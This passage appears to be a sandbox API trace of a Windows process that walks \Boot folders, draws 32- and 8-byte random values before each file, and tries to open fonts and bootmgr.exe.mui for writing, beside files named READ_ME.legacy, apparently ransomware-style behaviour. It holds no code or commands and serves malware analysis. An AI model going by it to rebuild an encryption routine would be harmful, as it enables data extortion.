(HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0108.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0108.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0108.336] CreateFileW (lpFileName="\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0108.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0108.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0108.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0108.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581f68 [0108.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1368 [0108.337] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581f68 | out: pbBuffer=0x581f68) returned 1 [0108.337] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1368 | out: pbBuffer=0x5c1368) returned 1 [0108.337] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\meiryon_boot.ttf", dwFileAttributes=0x80) returned 0 [0108.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0108.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0108.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0108.572] CreateFileW (lpFileName="\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0108.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0108.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0108.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0108.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581518 [0108.572] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c11c8 [0108.573] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581518 | out: pbBuffer=0x581518) returned 1 [0108.573] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c11c8 | out: pbBuffer=0x5c11c8) returned 1 [0108.573] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\malgun_boot.ttf", dwFileAttributes=0x80) returned 0 [0108.719] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0108.719] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0108.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0108.719] CreateFileW (lpFileName="\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0108.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0108.719] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0108.719] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0108.719] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5810f8 [0108.719] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1308 [0108.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5810f8 | out: pbBuffer=0x5810f8) returned 1 [0108.719] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1308 | out: pbBuffer=0x5c1308) returned 1 [0108.719] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\malgunn_boot.ttf", dwFileAttributes=0x80) returned 0 [0108.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0108.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0108.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0108.766] CreateFileW (lpFileName="\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0108.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0108.766] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0108.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0108.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581830 [0108.766] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c12c8 [0108.766] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581830 | out: pbBuffer=0x581830) returned 1 [0108.766] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c12c8 | out: pbBuffer=0x5c12c8) returned 1 [0108.766] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\kor_boot.ttf", dwFileAttributes=0x80) returned 0 [0108.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0108.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0108.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0108.826] CreateFileW (lpFileName="\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0108.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0108.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0108.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0108.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581a40 [0108.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1328 [0108.827] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581a40 | out: pbBuffer=0x581a40) returned 1 [0108.827] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1328 | out: pbBuffer=0x5c1328) returned 1 [0108.827] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\jpn_boot.ttf", dwFileAttributes=0x80) returned 0 [0109.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0109.160] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0109.160] CreateFileW (lpFileName="\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.161] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581200 [0109.161] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c11e8 [0109.161] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581200 | out: pbBuffer=0x581200) returned 1 [0109.161] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c11e8 | out: pbBuffer=0x5c11e8) returned 1 [0109.161] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\cht_boot.ttf", dwFileAttributes=0x80) returned 0 [0109.247] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.248] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.248] CreateFileW (lpFileName="\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.248] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.248] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.248] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0109.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x580ac8 [0109.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1258 [0109.248] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x580ac8 | out: pbBuffer=0x580ac8) returned 1 [0109.248] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1258 | out: pbBuffer=0x5c1258) returned 1 [0109.248] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\chs_boot.ttf", dwFileAttributes=0x80) returned 0 [0109.252] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.252] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.252] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.252] CreateFileW (lpFileName="\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.252] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.252] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.252] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.252] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d820 | out: hHeap=0x520000) returned 1 [0109.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0109.253] FindFirstFileW (in: lpFileName="\\Boot\\fr-CA\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0428 [0109.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.253] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.253] GetLastError () returned 0x5 [0109.253] SetLastError (dwErrCode=0x5) [0109.253] GetLastError () returned 0x5 [0109.253] SetLastError (dwErrCode=0x5) [0109.253] GetLastError () returned 0x5 [0109.253] SetLastError (dwErrCode=0x5) [0109.253] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0109.253] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0109.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0109.253] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0109.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00a8 [0109.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a00a8 | out: hHeap=0x520000) returned 1 [0109.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0109.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0109.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0109.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0109.254] FindNextFileW (in: hFindFile=0x5a0428, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.254] GetLastError () returned 0x5 [0109.254] SetLastError (dwErrCode=0x5) [0109.254] GetLastError () returned 0x5 [0109.254] SetLastError (dwErrCode=0x5) [0109.254] GetLastError () returned 0x5 [0109.254] SetLastError (dwErrCode=0x5) [0109.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0109.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0109.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0109.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0109.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a02a8 [0109.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a02a8 | out: hHeap=0x520000) returned 1 [0109.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20138 [0109.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20138 | out: hHeap=0x520000) returned 1 [0109.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0109.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0109.255] FindNextFileW (in: hFindFile=0x5a0428, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0109.255] GetLastError () returned 0x5 [0109.255] SetLastError (dwErrCode=0x5) [0109.255] GetLastError () returned 0x5 [0109.255] SetLastError (dwErrCode=0x5) [0109.255] GetLastError () returned 0x5 [0109.255] SetLastError (dwErrCode=0x5) [0109.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0109.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0109.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0109.255] FindNextFileW (in: hFindFile=0x5a0428, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b63b4a, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b63b4a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0109.255] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0109.255] GetLastError () returned 0x5 [0109.256] SetLastError (dwErrCode=0x5) [0109.256] GetLastError () returned 0x5 [0109.256] SetLastError (dwErrCode=0x5) [0109.256] GetLastError () returned 0x5 [0109.256] SetLastError (dwErrCode=0x5) [0109.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0109.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0109.256] FindNextFileW (in: hFindFile=0x5a0428, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b63b4a, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b63b4a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0109.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x580288 [0109.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1268 [0109.256] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x580288 | out: pbBuffer=0x580288) returned 1 [0109.256] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1268 | out: pbBuffer=0x5c1268) returned 1 [0109.256] SetFileAttributesW (lpFileName="\\Boot\\fr-CA\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.256] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.257] CreateFileW (lpFileName="\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0109.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0109.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b08 | out: hHeap=0x520000) returned 1 [0109.257] FindFirstFileW (in: lpFileName="\\Boot\\fr-FR\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0368 [0109.257] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0109.257] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.257] GetLastError () returned 0x5 [0109.257] SetLastError (dwErrCode=0x5) [0109.258] GetLastError () returned 0x5 [0109.258] SetLastError (dwErrCode=0x5) [0109.258] GetLastError () returned 0x5 [0109.258] SetLastError (dwErrCode=0x5) [0109.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0109.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0109.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0109.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a02e8 [0109.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a02e8 | out: hHeap=0x520000) returned 1 [0109.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0109.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0109.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0109.258] FindNextFileW (in: hFindFile=0x5a0368, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1b63b4a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.258] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.258] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.258] GetLastError () returned 0x5 [0109.258] SetLastError (dwErrCode=0x5) [0109.258] GetLastError () returned 0x5 [0109.258] SetLastError (dwErrCode=0x5) [0109.259] GetLastError () returned 0x5 [0109.259] SetLastError (dwErrCode=0x5) [0109.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0109.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d138 [0109.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0109.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0109.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0668 [0109.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0668 | out: hHeap=0x520000) returned 1 [0109.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0109.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0109.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0109.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0109.259] FindNextFileW (in: hFindFile=0x5a0368, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.259] RtlAllocateHeap (HeapHandle=0x520000, 